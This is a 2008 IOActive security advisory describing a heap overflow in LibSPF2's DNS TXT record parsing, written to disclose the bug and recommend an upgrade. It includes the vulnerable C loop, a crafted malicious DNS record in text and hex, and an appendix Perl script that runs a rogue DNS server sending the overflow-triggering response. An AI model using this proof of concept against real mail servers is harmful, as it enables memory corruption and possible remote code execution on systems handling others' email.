IOActive Security Advisory

Title	DNS TXT Record Parsing Bug in LibSPF2
Authors	Dan Kaminsky
Date Reported	October 21, 2008
Author	Dan Kaminsky

Abstract

A relatively common bug that parses TXT records delivered over DNS—dating back at least to 2002 in Sendmail 8.2.0 and almost certainly much earlier—has been found in LibSPF2, a library that is used frequently to retrieve SPF (Sender Policy Framework) records and apply policy according to those records. This implementation flaw allows for relatively flexible memory corruption and should be treated as a path to anonymous remote code execution.

Of particular note, the remote code execution would occur on servers specifically designed to receive email from the Internet—systems that may, in fact, be high-volume mail exchangers. This creates privacy implications. In addition, a corrupted email server is an incredibly useful "jumping off" point for attackers to corrupt desktop computers since attachments can be corrupted with malware while the container message remains intact. So, there are also internal security implications above and beyond corruption of the mail server on the DMZ.

Recommendations

If you are a major mail exchange, you should determine whether the SPAM filters that protect your systems use LibSPF2.

If you are a vendor of anti-SPAM devices or the author of an operating system with components that may use LibSPF2, you should determine whether LibSPF2 is used in any of your configurations and then migrate to LibSPF 1.2.8, which can be obtained at:

<http://www.libspf2.org/index.html>

If your product depends on DNS TXT records, we recommend that you test it for the parsing bug that LibSPF2 was vulnerable to since this has been a known problem for some time. Name server implementations may want to consider the addition of filtering, though record validation is not normally a part of that job.

Details

DNS TXT records have long been somewhat difficult to parse due to their containing two length fields: the length field of the record as a whole and the *sublength* field, from 0–255, that describes the length of a particular character string inside the larger record. There is nothing that links the two values and DNS servers to do not themselves enforce sanity

checks here. As such, there is always a risk that when receiving a DNS TXT record, the outer record length will be the amount allocated, but the inner length will be copied.

In the past, this particular bug has been found across numerous platforms and applications, including Sendmail—this is just the same bug showing up in LibSPF2.

For example, in version 1.2.5:

```
Spf_dns_resolv.c#SPF_dns_resolv_lookup():

case ns_t_txt:
if ( rdlen > 1 )
{
    u_char *src, *dst;
    size_t len;

    if ( SPF_dns_rr_buf_realloc( spfrr, cnt, rdlen ) !=
SPF_E_SUCCESS ) // allocate rdlen bytes at spf->rr[cn]->txt
    return spfrr;

    dst = spfrr->rr[cnt]->txt;
    len = 0;
    src = (u_char *)rdata;
    while ( rdlen > 0 )
    {
    len = *src; // get a second length from the attacker
controlled datastream -- some value from 0 to 255, unbound to
rdlen
    src++;
    memcpy( dst, src, len ); // copy that second length to rdlen
byte buffer.
    dst += len;
    src += len;
    rdlen -= len + 1;
    }
    *dst = '\0';
```

For validation purposes, a build of LibSPF2 was instrumented to validate the heap overflow:

```
$ ./spfquery -ip=1.2.3.4 -sender=foo@bar.toorrr.com buffer
8107080 has size 16 buffer 8107090 has size 16 buffer 81070a0 has
size 16 writing 255 bytes to a 15 size buffer at 81070a0 //
overflow buffer 8123030 has size 234 writing 233 bytes to a 234
size buffer at 8123030 buffer 81060c0 has size 20 buffer 81060e0
has size 20 buffer 8123120 has size 234 buffer 8106100 has size
31 StartError
Context: Failed to query MAIL-FROM
ErrorCode: (2) Could not find a valid SPF record
Error: Invalid character in middle of mechanism near 'À

bar.toorrr'
Error: Failed to compile SPF record for 'bar.toorrr.com'
EndError
(invalid)
```

The actual record used to spawn this behavior:

```
;; HEADER SECTION
;; id = 63838
;; qr = 1    opcode = QUERY    aa = 1    tc = 0    rd = 1
;; ra = 0    ad = 0    cd = 0    rcode  = NOERROR
;; qdcount = 1  ancount = 2  nscount = 0  arcount = 0

;; QUESTION SECTION (1 record)
;; bar.toorrr.com.      IN      TXT

;; ANSWER SECTION (2 records)
bar.toorrr.com. 0       IN      TXT     "v=spf1 mx +all"
bar.toorrr.com. 0       IN      TXT
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

;; AUTHORITY SECTION (0 records)

;; ADDITIONAL SECTION (0 records)
```

The record in hexadecimal form:

```
          00 01 02 03 04 05 06 07 - 08 09 0A 0B 0C 0D 0E 0F
0123456789ABCDEF

00000000  F9 5E 85 00 00 01 00 02 - 00 00 00 00 03 62 61 72
.^...........bar 00000010  06 74 6F 6F 72 72 72 03 - 63 6F 6D 00
00 10 00 01 .toorrr.com.....
00000020  C0 0C 00 10 00 01 00 00 - 00 00 00 0F FF 76 3D 73
.............v=s 00000030  70 66 31 20 6D 78 20 2B - 61 6C 6C C0
0C 00 10 00  pf1 mx
+all.....
00000040  01 00 00 00 00 00 EA E9 - 41 41 41 41 41 41 41 41
........AAAAAAAA 00000050  41 41 41 41 41 41 41 41 - 41 41 41 41
41 41 41 41 AAAAAAAAAAAAAAAA 00000060  41 41 41 41 41 41 41 41 -
41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000070  41 41 41 41 41
41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000080  41
41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000090  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA 000000A0  41 41 41 41 41 41 41 41 - 41 41 41 41
41 41 41 41 AAAAAAAAAAAAAAAA 000000B0  41 41 41 41 41 41 41 41 -
41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000C0  41 41 41 41 41
41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000D0  41
41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000E0  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA 000000F0  41 41 41 41 41 41 41 41 - 41 41 41 41
41 41 41 41 AAAAAAAAAAAAAAAA 00000100  41 41 41 41 41 41 41 41 -
```

```
41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000110  41 41 41 41 41
41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000120  41
41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000130  41                                                  A
```

The altered length field, on 0x2C, is causing the overflow; refer to the Appendix for reproduction sample code.

Conclusion

There's nothing particularly distinguishing about this bug—we've even seen this in mail servers before—but apparently it is present on some very high-profile and high-traffic systems. SPF is a major part of how the Internet attempts to filter SPAM and while it's not perfect, it is pretty helpful. LibSPF2 is one of the more common libraries available for handling SPF traffic, with billions of messages a day being protected by it.

Unfortunately, this also means that billions of messages a day are at risk. The nature of this flaw is such that an attacker can force arbitrary (or at least ASCII encoded, though no name servers have been found that enforce ASCII) bytes to be copied into a buffer that is too small to contain them. This finding is classified as straightforward anonymous remote code execution, made interesting specifically because of its location.

Appendix: Heap Overflow Reproduction Code

```
# cat spfattack.pl
#!/usr/bin/perl
#

use Net::DNS;
use IO::Socket::INET;
use Data::HexDump;


my $qclass = "IN";
my $ttl = 10;

while (1){
   my $sock = IO::Socket::INET->new(
                                LocalPort => '53',
                                Proto     => 'udp');
   $sock->recv($newmsg, 2048);
   my $req    = Net::DNS::Packet->new(\$newmsg);
   $req->print;
   my $id = $req->header->id();
   my @q = $req->question;
   my $qname = $q[0]->qname;
   my $qtype = $q[0]->qtype;
   if($qtype eq "PTR") { next; }
   $answer = Net::DNS::Packet->new($qname, $qtype);
   if($qtype eq "TXT"){
      $answer->push(answer => Net::DNS::RR->new("$qname 0 $qclass
$qtype
'v=spf1 mx +all'"));
      $answer->push(answer => Net::DNS::RR->new("$qname 0 $qclass
$qtype
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'"));
   }
   if($qtype eq "MX"){}

   $answer->header->id($id);
   $answer->header->aa(1);
   $answer->header->qr(1);
   $answer->print;
   my $port =  $sock->peerport;
   my $peer = inet_ntoa($sock->peeraddr);

   $sock->shutdown(2);
   $sock = "";

   my $tempsock  = IO::Socket::INET->new(
                                        LocalPort=>'53',
                                        PeerAddr=>"$peer",
                                        PeerPort=>$port,
                                        Proto=>'udp');
```

```
my $newans;

$newans = $answer->data;
if($qtype eq "TXT"){
  substr($newans, 44, 1, pack("c",0xff));
  print HexDump $newans;
}
$tempsock->send($newans);


#my $packet = Net::DNS::Packet->new(\$newmsg); }
```